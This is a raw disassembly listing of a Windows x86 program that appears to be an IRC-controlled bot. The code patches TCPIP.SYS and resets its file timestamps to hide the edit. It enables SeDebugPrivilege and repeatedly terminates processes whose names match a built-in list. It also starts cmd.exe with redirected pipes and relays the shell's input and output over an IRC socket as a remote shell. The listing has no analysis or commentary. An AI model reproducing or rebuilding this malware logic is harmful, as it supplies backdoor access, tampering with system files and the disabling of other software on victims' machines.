		mov	dword ptr [ebp-80h], 444306h
		mov	dword ptr [ebp-7Ch], offset byte_444308
		mov	dword ptr [ebp-78h], offset word_44430A
		mov	dword ptr [ebp-74h], offset word_4DDEE6
		mov	dword ptr [ebp-70h], offset byte_44430C
		mov	dword ptr [ebp-6Ch], offset word_44430E
		mov	dword ptr [ebp-68h], offset byte_4DDEE8
		mov	dword ptr [ebp-64h], offset word_4DDEEA
		mov	dword ptr [ebp-34h], offset aXSg ; "åÈ™GÈ"
		mov	dword ptr [ebp-30h], 444312h
		mov	dword ptr [ebp-40h], 444314h
		mov	dword ptr [ebp-3Ch], 444316h
		mov	dword ptr [ebp-38h], 444318h
		mov	[ebp-4], ebx
		call	sub_415090
		mov	[ebp-8], eax
		mov	[ebp-0Ch], ebx
		mov	dword ptr [esp], 7530h
		call	dword_4E033C	; Sleep
		lea	eax, [ebp-1A8h]
		push	eax
		call	sub_413282
		pop	ecx
		mov	edi, 80h
		lea	eax, [ebp-1A8h]
		push	edi
		push	eax
		call	dword_4E0358	; SetFileAttributesA
		push	ebx
		push	edi
		push	3
		push	ebx
		push	esi
		lea	eax, [ebp-1A8h]
		push	80000000h
		push	eax
		call	dword_4E03D8	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_413401
		lea	eax, [ebp-90h]
		push	eax
		lea	eax, [ebp-98h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		push	edi
		call	dword_4E0418	; GetFileTime
		push	edi
		call	dword_4E032C	; CloseHandle


loc_413401:				; CODE XREF: .data:004133DCj
		lea	eax, [ebp-1A8h]
		push	offset aRB	; "r+b"
		push	eax
		call	sub_4176E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_413458
		push	dword ptr [ebp-0A4h]
		lea	eax, [ebp-3B0h]
		push	offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d."
		push	200h
		push	eax
		call	sub_417E80
		lea	eax, [ebp-3B0h]
		push	eax
		call	sub_40F927
		push	dword ptr [ebp-1ACh]
		call	sub_409979
		add	esp, 18h
		push	ebx
		call	dword_4E03A0	; ExitThread


loc_413458:				; CODE XREF: .data:00413419j
		mov	eax, [ebp-0A4h]
		dec	eax
		jz	loc_41362D
		dec	eax
		jz	loc_413580
		dec	eax
		jz	loc_4134FD
		dec	eax
		jnz	loc_4136D1
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 4F5A2h
		xor	edi, edi


loc_41348A:				; CODE XREF: .data:004134C1j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_4173D0
		push	esi
		push	dword ptr [ebp+edi-40h]
		push	dword ptr [ebp-8]
		call	sub_418830
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4134BB
		inc	dword ptr [ebp-4]


loc_4134BB:				; CODE XREF: .data:004134B6j
		add	edi, 4
		cmp	edi, 0Ch
		jl	short loc_41348A
		cmp	dword ptr [ebp-4], 3
		jge	loc_4136D1
		mov	[ebp-0Ch], esi
		xor	edi, edi


loc_4134D2:				; CODE XREF: .data:004134F6j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-40h]
		call	sub_41A170
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 0Ch
		jl	short loc_4134D2
		jmp	loc_4136D1
; ---------------------------------------------------------------------------


loc_4134FD:				; CODE XREF: .data:0041346Dj
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 4F322h
		xor	edi, edi


loc_41350D:				; CODE XREF: .data:00413544j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_4173D0
		push	esi
		push	dword ptr [ebp+edi-34h]
		push	dword ptr [ebp-8]
		call	sub_418830
		add	esp, 28h
		test	eax, eax
		jnz	short loc_41353E
		inc	dword ptr [ebp-4]


loc_41353E:				; CODE XREF: .data:00413539j
		add	edi, 4
		cmp	edi, 8
		jl	short loc_41350D
		cmp	dword ptr [ebp-4], 2
		jge	loc_4136D1
		mov	[ebp-0Ch], esi
		xor	edi, edi


loc_413555:				; CODE XREF: .data:00413579j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-34h]
		call	sub_41A170
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 8
		jl	short loc_413555
		jmp	loc_4136D1
; ---------------------------------------------------------------------------


loc_413580:				; CODE XREF: .data:00413466j
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 131h
		mov	dword ptr [ebp-24h], 132h
		mov	dword ptr [ebp-20h], 133h
		mov	dword ptr [ebp-1Ch], 4F5A2h
		mov	dword ptr [ebp-18h], 4F5A3h
		mov	dword ptr [ebp-14h], 4F5A4h
		mov	dword ptr [ebp-10h], 4F5A5h
		xor	edi, edi


loc_4135BA:				; CODE XREF: .data:004135F1j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_4173D0
		push	esi
		push	dword ptr [ebp+edi-80h]
		push	dword ptr [ebp-8]
		call	sub_418830
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4135EB
		inc	dword ptr [ebp-4]


loc_4135EB:				; CODE XREF: .data:004135E6j
		add	edi, 4
		cmp	edi, 20h
		jl	short loc_4135BA
		cmp	dword ptr [ebp-4], 8
		jge	loc_4136D1
		mov	[ebp-0Ch], esi
		xor	edi, edi


loc_413602:				; CODE XREF: .data:00413626j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-80h]
		call	sub_41A170
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 20h
		jl	short loc_413602
		jmp	loc_4136D1
; ---------------------------------------------------------------------------


loc_41362D:				; CODE XREF: .data:0041345Fj
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 131h
		mov	dword ptr [ebp-24h], 132h
		mov	dword ptr [ebp-20h], 133h
		mov	dword ptr [ebp-1Ch], 4F322h
		mov	dword ptr [ebp-18h], 4F323h
		mov	dword ptr [ebp-14h], 4F324h
		mov	dword ptr [ebp-10h], 4F325h
		xor	edi, edi


loc_413667:				; CODE XREF: .data:0041369Ej
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_4173D0
		push	esi
		push	dword ptr [ebp+edi-60h]
		push	dword ptr [ebp-8]
		call	sub_418830
		add	esp, 28h
		test	eax, eax
		jnz	short loc_413698
		inc	dword ptr [ebp-4]


loc_413698:				; CODE XREF: .data:00413693j
		add	edi, 4
		cmp	edi, 20h
		jl	short loc_413667
		cmp	dword ptr [ebp-4], 8
		jge	short loc_4136D1
		mov	[ebp-0Ch], esi
		xor	edi, edi


loc_4136AB:				; CODE XREF: .data:004136CFj
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	sub_419FD0
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-60h]
		call	sub_41A170
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 20h
		jl	short loc_4136AB


loc_4136D1:				; CODE XREF: .data:00413474j
					; .data:004134C7j ...
		push	dword ptr [ebp+8]
		call	sub_414F40
		pop	ecx
		lea	eax, [ebp-1A8h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	2
		push	40000000h
		push	eax
		call	dword_4E03D8	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_413721
		lea	eax, [ebp-90h]
		push	eax
		lea	eax, [ebp-98h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		push	esi
		call	dword_4E0414	; SetFileTime
		push	esi
		call	dword_4E032C	; CloseHandle


loc_413721:				; CODE XREF: .data:004136FCj
		cmp	[ebp-0Ch], ebx
		jz	short loc_41376F
		push	dword ptr [ebp-0A4h]
		lea	eax, [ebp-3B0h]
		push	offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d."
		push	200h
		push	eax
		call	sub_417E80
		push	ebx
		lea	eax, [ebp-3B0h]
		push	dword ptr [ebp-0A0h]
		push	eax
		push	offset aXp_0	; "#xp"
		push	dword ptr [ebp-1B0h]
		call	sub_40764A
		lea	eax, [ebp-3B0h]
		push	eax
		call	sub_40F927
		add	esp, 28h


loc_41376F:				; CODE XREF: .data:00413724j
		push	dword ptr [ebp-1ACh]
		mov	dword_437294, ebx
		call	sub_409979
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413788	proc near		; CODE XREF: sub_411DBC+7p
					; sub_4137F3+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4E03C4	; GetCurrentProcess
		push	eax
		call	dword_4D664C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_4137A7
		leave
		retn
; ---------------------------------------------------------------------------


loc_4137A7:				; CODE XREF: sub_413788+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4D6624	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4137E5
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4137CE
		or	[ebp+var_8], 2
		jmp	short loc_4137D2
; ---------------------------------------------------------------------------


loc_4137CE:				; CODE XREF: sub_413788+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4137D2:				; CODE XREF: sub_413788+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4D66D4	; AdjustTokenPrivileges
		mov	esi, eax


loc_4137E5:				; CODE XREF: sub_413788+32j
		push	[ebp+var_4]
		call	dword_4E032C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137F3	proc near		; CODE XREF: sub_401C87+3812p
					; sub_413A33+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4D6688, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_413A03
		cmp	dword_4D666C, ebx
		jz	loc_413A03
		cmp	dword_4D657C, ebx
		jz	loc_413A03
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413788
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4D6688	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4139F6
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4D666C	; Process32First
		mov	esi, dword_4E032C
		test	eax, eax
		jz	loc_4139F1
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4D657C	; Process32Next
		test	eax, eax
		jz	loc_4139F1
		mov	edi, dword_4E0348
		mov	ebx, 1F0FFFh


loc_4138B7:				; CODE XREF: sub_4137F3+1F6j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_41391B
		mov	[ebp+var_4], eax


loc_4138C1:				; CODE XREF: sub_4137F3+F0j
		mov	eax, [ebp+var_4]
		push	off_4444B8[eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_4E042C	; lstrcmpiA
		test	eax, eax
		jz	short loc_4138EA
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 60h
		jb	short loc_4138C1
		jmp	loc_4139D7
; ---------------------------------------------------------------------------


loc_4138EA:				; CODE XREF: sub_4137F3+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_4139D7
		push	0
		push	eax
		call	dword_4E03BC	; TerminateProcess
		test	eax, eax
		jnz	loc_4139D7


loc_413911:				; CODE XREF: sub_4137F3+1CAj
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_4139D7
; ---------------------------------------------------------------------------


loc_41391B:				; CODE XREF: sub_4137F3+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_4139C2
		cmp	[ebp+arg_4], eax
		jz	loc_4139D7
		push	[ebp+var_128]
		push	8
		call	dword_4D6688	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_413982
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4D6528	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_413974
		lea	eax, [ebp+var_234]
		push	eax
		push	offset aSD	; " %s (%d)"
		jmp	short loc_413994
; ---------------------------------------------------------------------------


loc_413974:				; CODE XREF: sub_4137F3+171j
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		jmp	short loc_413994
; ---------------------------------------------------------------------------


loc_413982:				; CODE XREF: sub_4137F3+159j
		push	[ebp+var_128]
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_1	; " %s (%d)"


loc_413994:				; CODE XREF: sub_4137F3+17Fj
					; sub_4137F3+18Dj
		lea	eax, [ebp+var_554]
		push	eax
		call	sub_417CB0
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h
		jmp	loc_413911
; ---------------------------------------------------------------------------


loc_4139C2:				; CODE XREF: sub_4137F3+12Bj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413A0A


loc_4139D7:				; CODE XREF: sub_4137F3+F2j
					; sub_4137F3+107j ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4D657C	; Process32Next
		test	eax, eax
		jnz	loc_4138B7
		xor	ebx, ebx


loc_4139F1:				; CODE XREF: sub_4137F3+9Dj
					; sub_4137F3+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_4139F6:				; CODE XREF: sub_4137F3+77j
		push	ebx
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_413788
		pop	ecx
		pop	ecx


loc_413A03:				; CODE XREF: sub_4137F3+3Aj
					; sub_4137F3+46j ...
		xor	eax, eax


loc_413A05:				; CODE XREF: sub_4137F3+23Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413A0A:				; CODE XREF: sub_4137F3+1E2j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4E03BC	; TerminateProcess
		test	eax, eax
		jnz	short loc_413A2E
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_413A03
; ---------------------------------------------------------------------------


loc_413A2E:				; CODE XREF: sub_4137F3+234j
		xor	eax, eax
		inc	eax
		jmp	short loc_413A05
sub_4137F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A33	proc near		; DATA XREF: sub_401C87+219Bo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_444564
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_417CB0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413A92
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40764A
		add	esp, 14h


loc_413A92:				; CODE XREF: sub_413A33+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4137F3
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_413AC0
		push	offset unk_444584
		jmp	short loc_413AC5
; ---------------------------------------------------------------------------


loc_413AC0:				; CODE XREF: sub_413A33+84j
		push	offset unk_4445A8


loc_413AC5:				; CODE XREF: sub_413A33+8Bj
		push	eax
		call	sub_417CB0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_413AF2
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40764A
		add	esp, 14h


loc_413AF2:				; CODE XREF: sub_413A33+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40F927
		push	[ebp+var_14]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
sub_413A33	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413B11	proc near		; CODE XREF: sub_401C87+37B0p
					; sub_40979E+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_4E0348	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_413B43
		push	0
		push	esi
		call	dword_4E03BC	; TerminateProcess
		test	eax, eax
		jnz	short loc_413B43
		push	esi
		xor	edi, edi
		call	dword_4E032C	; CloseHandle


loc_413B43:				; CODE XREF: sub_413B11+1Aj
					; sub_413B11+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413B11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413B48	proc near		; DATA XREF: sub_401404+3B8o
		push	esi
		xor	esi, esi


loc_413B4B:				; CODE XREF: sub_413B48+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4137F3
		add	esp, 18h
		push	dword_444368
		call	dword_4E033C	; Sleep
		jmp	short loc_413B4B
sub_413B48	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B68	proc near		; CODE XREF: sub_413B98+2Ap
					; sub_413BD0+7Ep ...
		mov	eax, dword_4DDEF0
		push	esi
		mov	esi, dword_4E032C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413B7C
		push	eax
		call	esi	; CloseHandle


loc_413B7C:				; CODE XREF: sub_413B68+Fj
		mov	eax, dword_4DDEF8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413B89
		push	eax
		call	esi	; CloseHandle


loc_413B89:				; CODE XREF: sub_413B68+1Cj
		mov	eax, dword_4DDEEC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413B96
		push	eax
		call	esi	; CloseHandle


loc_413B96:				; CODE XREF: sub_413B68+29j
		pop	esi
		retn
sub_413B68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B98	proc near		; CODE XREF: sub_401C87+34DEp
					; sub_4104B2+14Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_414EC0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DDEF4
		call	dword_4E03B4	; WriteFile
		test	eax, eax
		jnz	short loc_413BCB
		call	sub_413B68
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_413BCB:				; CODE XREF: sub_413B98+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_413B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BD0	proc near		; CODE XREF: sub_413C57+D3p
					; sub_413C57+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4DDF34
		push	[ebp+arg_4]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413C13
		push	7D0h
		call	dword_4E033C	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_417CB0
		add	esp, 10h
		jmp	short loc_413C2A
; ---------------------------------------------------------------------------


loc_413C13:				; CODE XREF: sub_413BD0+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_19	; "%s"
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_413C2A:				; CODE XREF: sub_413BD0+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		test	eax, eax
		jg	short loc_413C53
		call	sub_413B68


loc_413C53:				; CODE XREF: sub_413BD0+7Cj
		xor	eax, eax
		leave
		retn
sub_413BD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C57	proc near		; DATA XREF: sub_413DAC+174o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DDEFC


loc_413C6F:				; CODE XREF: sub_413C57+79j
					; sub_413C57+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DDEF0
		call	dword_4E0434	; PeekNamedPipe
		test	eax, eax
		jz	loc_413D3D
		cmp	[ebp+var_4], edi
		jnz	short loc_413CD2
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DDEEC
		call	dword_4E0430	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_413CC8
		cmp	[ebp+var_8], 103h
		jnz	loc_413D61


loc_413CC8:				; CODE XREF: sub_413C57+62j
		push	0Ah
		call	dword_4E033C	; Sleep
		jmp	short loc_413C6F
; ---------------------------------------------------------------------------


loc_413CD2:				; CODE XREF: sub_413C57+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_413CE9


loc_413CD9:				; CODE XREF: sub_413C57+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_413D37
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_413CD9


loc_413CE9:				; CODE XREF: sub_413C57+80j
		mov	[ebp+var_4], esi


loc_413CEC:				; CODE XREF: sub_413C57+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DDEF0
		call	dword_4E03B8	; ReadFile
		test	eax, eax
		jz	short loc_413D89
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DDF30
		call	sub_413BD0
		add	esp, 0Ch
		jmp	loc_413C6F
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: sub_413C57+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_413CEC
; ---------------------------------------------------------------------------


loc_413D3D:				; CODE XREF: sub_413C57+45j
		push	offset unk_4445E0
		push	ebx
		push	dword_4DDF30
		call	sub_413BD0
		push	[ebp+arg_0]
		call	sub_409979
		add	esp, 10h
		push	1
		call	dword_4E03A0	; ExitThread


loc_413D61:				; CODE XREF: sub_413C57+6Bj
		call	sub_413B68
		push	offset unk_444610
		push	ebx
		push	dword_4DDF30
		call	sub_413BD0
		push	[ebp+arg_0]
		call	sub_409979
		add	esp, 10h
		push	edi
		call	dword_4E03A0	; ExitThread


loc_413D89:				; CODE XREF: sub_413C57+C3j
		push	offset unk_444638
		push	ebx
		push	dword_4DDF30
		call	sub_413BD0
		push	[ebp+arg_0]
		call	sub_409979
		add	esp, 10h
		push	edi
		call	dword_4E03A0	; ExitThread
sub_413C57	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DAC	proc near		; CODE XREF: sub_401C87+1FCAp
					; sub_4104B2+99p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		push	edi
		call	sub_413B68
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe_0 ; "cmd.exe"
		push	esi
		call	dword_4D6720	; SearchPathA
		test	eax, eax
		jz	loc_413EA6
		lea	eax, [ebp+var_1C]
		mov	edi, dword_4E03C8
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_413EA6
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_413EA6
		mov	edi, dword_4E03C4
		push	3
		push	esi
		push	esi
		push	offset dword_4DDEF4
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4E03C0	; DuplicateHandle
		test	eax, eax
		jz	short loc_413EA6
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417700
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417700
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_178]
		push	offset byte_4DDF35
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4E0330	; CreateProcessA
		test	eax, eax
		jnz	short loc_413EAE


loc_413EA6:				; CODE XREF: sub_413DAC+2Ej
					; sub_413DAC+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_413F60
; ---------------------------------------------------------------------------


